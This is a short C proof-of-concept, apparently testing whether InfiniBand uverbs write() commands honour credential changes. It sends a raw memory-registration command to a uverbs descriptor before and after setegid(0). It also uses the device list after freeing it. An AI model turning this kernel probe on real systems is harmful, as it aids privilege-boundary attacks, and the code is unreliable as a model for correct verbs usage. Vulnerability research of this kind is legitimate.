#include <stdio.h>
#include <infiniband/verbs.h>
struct reg_mr {
uint32_t command;
uint16_t in_words;
uint16_t out_words;
uint64_t response;
uint64_t start;
uint64_t length;
uint64_t hca_va;
uint32_t pd_handle;
uint32_t access_flags;
uint64_t driver_data[0];
};
int main() {
struct ibv_device *dev;
struct ibv_context *context;
char *dev_name="mlx5_1";
struct ibv_device **dev_list;
dev_list = ibv_get_device_list(NULL);
struct reg_mr test_buffer = {0};
int i;
for (i = 0; dev_list[i]; ++i) {
if (!strcmp(ibv_get_device_name(dev_list[i]),dev_name))
break;
}
ibv_free_device_list(dev_list);
context = ibv_open_device(dev_list[i]);
test_buffer.command = 1;
test_buffer.in_words = 12;
test_buffer.out_words = 44;
test_buffer.response = malloc(256);
int fd;
printf("pid: %d\n", getpid());
printf("run \"sudo ls -l /proc/%d/fd | grep uverbs | awk '{print $9}'\" to get fd #\n", getpid());
printf("input uverbs fd:");
scanf("%d", &fd);
printf("Before: write(%d, &test_buffer, 48) = %d\n", fd, write(fd, &test_buffer, 48));
printf("setegid(0):\n\n");
setegid(0);
printf("After: write(%d, &test_buffer, 48) = %d\n", fd, write(fd, &test_buffer, 48));
return 0;
}
Makefile:
all:
gcc -o 1 1.c -libverbs